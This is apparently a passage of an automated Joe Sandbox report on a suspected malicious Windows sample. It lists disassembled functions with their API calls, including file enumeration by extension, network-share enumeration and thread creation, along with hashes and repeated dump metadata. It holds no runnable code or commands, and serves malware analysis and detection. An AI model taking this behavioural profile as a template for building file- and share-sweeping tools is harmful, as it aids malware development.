Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID: vector<T> too long
API String ID: 657562460-3788999226
Opcode ID: 0ad4a0ca8fdadbc1a12cf66a996cd1011d67085deb4d362cb70db5a7c32d017b
Instruction ID: 58ba692ce99c870a1dcba0d104e91e6c126768a8e2c2fae69a1ad948a11fc536
Opcode Fuzzy Hash: 0ad4a0ca8fdadbc1a12cf66a996cd1011d67085deb4d362cb70db5a7c32d017b
Instruction Fuzzy Hash: F401F171200705ABD720CFACC09068BFBE8AF80725F20853FEA5583381EBB5E944C784

Function 00454C00 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00454AE0: GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
Part of subcall function 00454AE0: GetFileType.KERNEL32(00000000), ref: 00454B05
Part of subcall function 00454AE0: __vfwprintf_p.LIBCMT ref: 00454B27

_raise.LIBCMT ref: 00454C18

Part of subcall function 0042A12E: __getptd_noexit.LIBCMT ref: 0042A16B

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Strings

%s(%d): OpenSSL internal error, assertion failed: %s, xrefs: 00454C0C

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: FileHandleType__getptd_noexit__vfwprintf_p_doexit_raise
String ID: %s(%d): OpenSSL internal error, assertion failed: %s
API String ID: 2149077303-4210838268
Opcode ID: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction ID: fa72e03f5863b2a05375eef283b674a1c5903e86e1e3734bc2555e426bc738f9
Opcode Fuzzy Hash: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction Fuzzy Hash: 6FD09E795892107FED022791EC07A1E7A51AF9471CF808419F69A041A2D6768534AA5B

Function 0040FD57 Relevance: 3.1, APIs: 2, Instructions: 134fileCOMMON

Download Yara Rule

APIs

PathFindExtensionW.SHLWAPI(?,00000000,-00000002,?,00000000,000000FF), ref: 0040FF4D
_wcsstr.LIBCMT ref: 0040FF7E
_wcsstr.LIBCMT ref: 0040FFC4
_wcsstr.LIBCMT ref: 0040FFEF
_wcsstr.LIBCMT ref: 0041001C
FindNextFileW.KERNEL32(?,?), ref: 0041005A
FindClose.KERNEL32(?), ref: 0041006C

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _wcsstr$Find$CloseExtensionFileNextPath
String ID:
API String ID: 2799698630-0
Opcode ID: ac0a85f5bac527c575843bdadf5cca8aecbf1857761263c25928e7f230d24715
Instruction ID: 5ab157793dcca273c0e587975c0a14bd2b460513ddb2d20d8000ed9fb441c990
Opcode Fuzzy Hash: ac0a85f5bac527c575843bdadf5cca8aecbf1857761263c25928e7f230d24715
Instruction Fuzzy Hash: 30519D70D00219DAEF20DF60DD457DEBBB5BF15308F4040BAD40A66291EB7A9AC9CF5A

Function 00422310 Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042233F
__lock_file.LIBCMT ref: 00422360

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 445c070cf1acac955d9a39e82e15185871b6ddabc7e7101d962d1bf14f284458
Instruction ID: 3b27dc9081eeebfa63cadfeca7c4a7c62caa0de21db628116ac66ed60762724a
Opcode Fuzzy Hash: 445c070cf1acac955d9a39e82e15185871b6ddabc7e7101d962d1bf14f284458
Instruction Fuzzy Hash: 1B012831A00229FBCF21EFB6AD0189F7F61AF40364F84411BF82856191CB7C8662DF95

Function 00423A38 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__lock_file.LIBCMT ref: 00423A7D

Part of subcall function 00420E53: __lock.LIBCMT ref: 00420E76

__fclose_nolock.LIBCMT ref: 00423A88

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction ID: e9f7363e2c125346a9344b83ccdc7017391740cbbddd1805e0fe7159b8e2b74d
Opcode Fuzzy Hash: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction Fuzzy Hash: 1EF0F631B01724AAD710AF66680275E6AB46F00339F90815FE4A09A1C1CB7C87428F59

Function 00423455 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00423489
__ftell_nolock.LIBCMT ref: 00423494

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __ftell_nolock__getptd_noexit__lock_file
String ID:
API String ID: 2999321469-0
Opcode ID: a58877e3c81c978aac49b68a69ce6642370298b1df27fe6dc33e2a282af8e7c9
Instruction ID: 59e75a8078918f59343bfa35d7b516265fdda4ca888474ce23baf8c01a16d0b8
Opcode Fuzzy Hash: a58877e3c81c978aac49b68a69ce6642370298b1df27fe6dc33e2a282af8e7c9
Instruction Fuzzy Hash: F2F0A731B02634EAD711BFB6B80275E66B05F41339F91468FF020EB1C2CF7C8A425A69

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(00000000,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 360932542-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Function 00427B0B Relevance: 3.0, APIs: 2, Instructions: 7COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,00427B16,00000000,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,00000000,00000000), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Function 004118C5 Relevance: 2.5, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004118DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 004118E9

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleVirtual
String ID:
API String ID: 2443081362-0
Opcode ID: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction ID: a75cf17640dcbe18a091e0aebb8a692561bc66dfcc2ddf1384dfcaf55dfbf141
Opcode Fuzzy Hash: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction Fuzzy Hash: D1E08636B415049BC7209B99ECC0B9DB374F785720F20437AD919733D047352D028A58

Function 00416950 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004169DF

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: 3b7b0fc369f82dddc2ccaf18a852f1bb1e9a346ec1b2b182573c4b9e8e7e9711
Instruction ID: aa06b8048d3bf760f527e7d0bbb9ad0a08af858ba63749c6f8d7f01112261dfe
Opcode Fuzzy Hash: 3b7b0fc369f82dddc2ccaf18a852f1bb1e9a346ec1b2b182573c4b9e8e7e9711
Instruction Fuzzy Hash: E731E3B2A006059BCB20DF68C5816AEB7F9EF45750F21823FE856D7740DB38DD448BA9

Function 00416760 Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004167E6

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: 8642606c1552ecd819b8adc579047d7798922c573bb863da5b46e9a3389c0131
Instruction ID: efb258ddcfae47249c3acbfcaa5a8e986a9cbccba7edf1416c99c2e95f316cd5
Opcode Fuzzy Hash: 8642606c1552ecd819b8adc579047d7798922c573bb863da5b46e9a3389c0131
Instruction Fuzzy Hash: B83126B1A016019FDB24DF29C5807AEBBF4EB40364F104A2EE426977C0D738DA80C7A6

Function 00416570 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004165C5

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID:
API String ID: 657562460-0
Opcode ID: 2edcca7392c82dc21db4b8ace527c4f1afab0509be4df627535b5f7c6d087114
Instruction ID: 5021f87c270b400a587bd724d9b61bde01bf534475f8b0cbfe068d44a909a5c2
Opcode Fuzzy Hash: 2edcca7392c82dc21db4b8ace527c4f1afab0509be4df627535b5f7c6d087114
Instruction Fuzzy Hash: A72124B5A00115DBCB14DF5CD981B9ABFA9EF45700F04822AEC058B348D738EA14CBE5

Function 0041FA10 Relevance: 1.5, APIs: 1, Instructions: 19threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001F130,?,00000000,00000000), ref: 0041FA25

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction ID: 74150d4eedde67828055b261a2b9f98274f0c47e32cd20f87c2cefabb50f2d8a
Opcode Fuzzy Hash: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction Fuzzy Hash: F1D05E322883147BE3140A9AAC06F867AC88B15B20F00403AB609DA1C0D9A1A8108A9C

Function 0041FD80 Relevance: 1.5, APIs: 1, Instructions: 18windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00410BD0: WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12

SendMessageW.USER32(?,00008004,00000000,00000000), ref: 0041FDA4

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: EnumMessageOpenSend
String ID:
API String ID: 1835186980-0
Opcode ID: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction ID: f1b321f5059a27c682919cb5e20fd2d447803ac3e15b06371c74c2023cac73f2
Opcode Fuzzy Hash: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction Fuzzy Hash: 27E02B311043406AD32097A4DC01F82BBC49F18728F00C81EF7CA6B9C1C5F1B04487ED

Function 0041FDC0 Relevance: 1.5, APIs: 1, Instructions: 16threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001FD80,?,00000000,00529230), ref: 0041FDD6

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction ID: 36d07be7825d0dd215c2e58fd0e5fada4a3bc662417c17551b787912ef620d2a
Opcode Fuzzy Hash: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction Fuzzy Hash: 6FD012753C9305B7E7180BA6BC47F593A989B29B00F504036F60DD92D0DAB1F4509A5C

Function 004220B6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 004220C1

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction ID: 292279633ce522dfb3aa62ab9f23dea9a591004ce3b356b458beb681742a1975
Opcode Fuzzy Hash: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction Fuzzy Hash: FDB0927254021C77CF012E82EC02A493B199B60764F448021FB1C181B1E6BBE66496C9

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00000000,00000001,00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EBC
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EE4
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EF5

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode__initterm$__lock_doexit
String ID:
API String ID: 3712619029-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Function 00420FDD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00420FE8

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction ID: 060863096896a5b816ca94ba1531ddaea04f54b188c1fa908ac11e743c0bd32b
Opcode Fuzzy Hash: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction Fuzzy Hash: 1EB0927254020C77CE012A82EC02A497B199B516A4F408021FB0C18571A677A6A09A89

Function 00412900 Relevance: 1.3, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: b12fc41aaf747df4b6375f9b2df9c8002ef335982a6109e29cb2c3524b9e13cd
Instruction ID: 3b43283c781d39060a285e1a990033b4cd03b7dd602a36c1420ec248ee7b7319
Opcode Fuzzy Hash: b12fc41aaf747df4b6375f9b2df9c8002ef335982a6109e29cb2c3524b9e13cd
Instruction Fuzzy Hash: 0411B171A00219EBDF00DF59DC41BDFBBA8EF05718F00452AF819A7280D7BE99558BDA

Non-executed Functions

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

ACP, xrefs: 004382B3
OCP, xrefs: 004382C4

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Function 00419E70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2
